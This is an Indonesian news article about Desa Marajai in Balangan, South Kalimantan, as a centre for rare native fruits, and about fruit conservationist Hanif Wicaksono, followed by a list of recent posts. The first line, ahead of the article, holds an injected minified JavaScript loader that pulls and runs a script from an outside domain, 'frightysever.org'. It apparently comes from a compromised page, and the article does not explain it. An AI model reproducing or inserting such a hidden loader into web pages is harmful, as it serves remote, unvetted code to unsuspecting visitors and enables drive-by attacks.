(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Desa Marajai, Sentra Pengembangan Buah Langka di Kalsel


BANJARBARU, Desa Marajai, Kecamatan Halong, Kabupaten Balangan, selama ini dikenal kaya dengan aneka hasil bumi. Selain tanaman kemiri, Desa Marajai juga merupakan sentra pengembangan tanaman buah-buahan langka dan varietas lainnya. Di antaranya mahrawin, karatungan, lahong, traku, tarusung, kulidang, binturung, tarap, kumbayau, landur, rarawa dan masih banyak lagi.

Potensi ini dimungkinkan karena secara agroklimat dan tofografi, Desa Marajai sangat cocok pengembangan tanaman buah langka. “Tentunya harus kita pertahankan, jangan sampai buah-buahan langka yang menjadi kebanggaan punah,” tegas Bupati Balangan Ansharudin.

Hanif Wicaksono selaku penggiat dan pengembang buah langka berkomitmen akan terus menjaga dan mempertahankan agar sentra perkebunan buah langka selalu abadi. Dengan diadakannya festival buah langka di Desa Marajai diharapkan dapat mengenalkan kepada khalayak ramai jenis-jenis buah langka yang masih jarang diketahui.

Sebelumnya, Hanif pemuda asal Gambah Luar Muka, Kota Kandangan, Kabupaten Hulu Sungai Selatan (HSS) berhasil meraih anugerah Semangat Astra Terpadu Untuk (Satu) Indonesia Award 2018. Lewat ketekunannya membudayakan tanaman buah langka khas Kalimantan, ia berhasil meraih penghargaan untuk kategori lingkungan.

Keberhasilan pemuda 35 tahun itupun membuat bangga Kalimantan Selatan karena dia merupakan peserta yang mewakili provinsi dan pengiriman keikutsertaannya di ajang SIA 2018 melalui Kantor Berita Antara Biro Kalimantan Selatan.

Perjuangan Hanif berawal dari mendirikan Kelompok Usaha Tunas Meratus di Kabupaten Hulu Sungai Selatan dengan kegiatan utamanya konservasi tanaman buah asli Kalimantan. Program Tunas Meratus  mengumpulkan, mendokumentasikan, membibitkan, dan membudidayakan tanaman buah Kalimantan serta mengedukasi masyarakat akan pentingnya pelestarian sumberdaya plasma nutfah Kalimantan.(rendy)

Reporter:Rendy
Editor:Cell

Desy Arfianty

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

8 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

10 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

10 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

10 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

15 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

15 jam ago

This website uses cookies.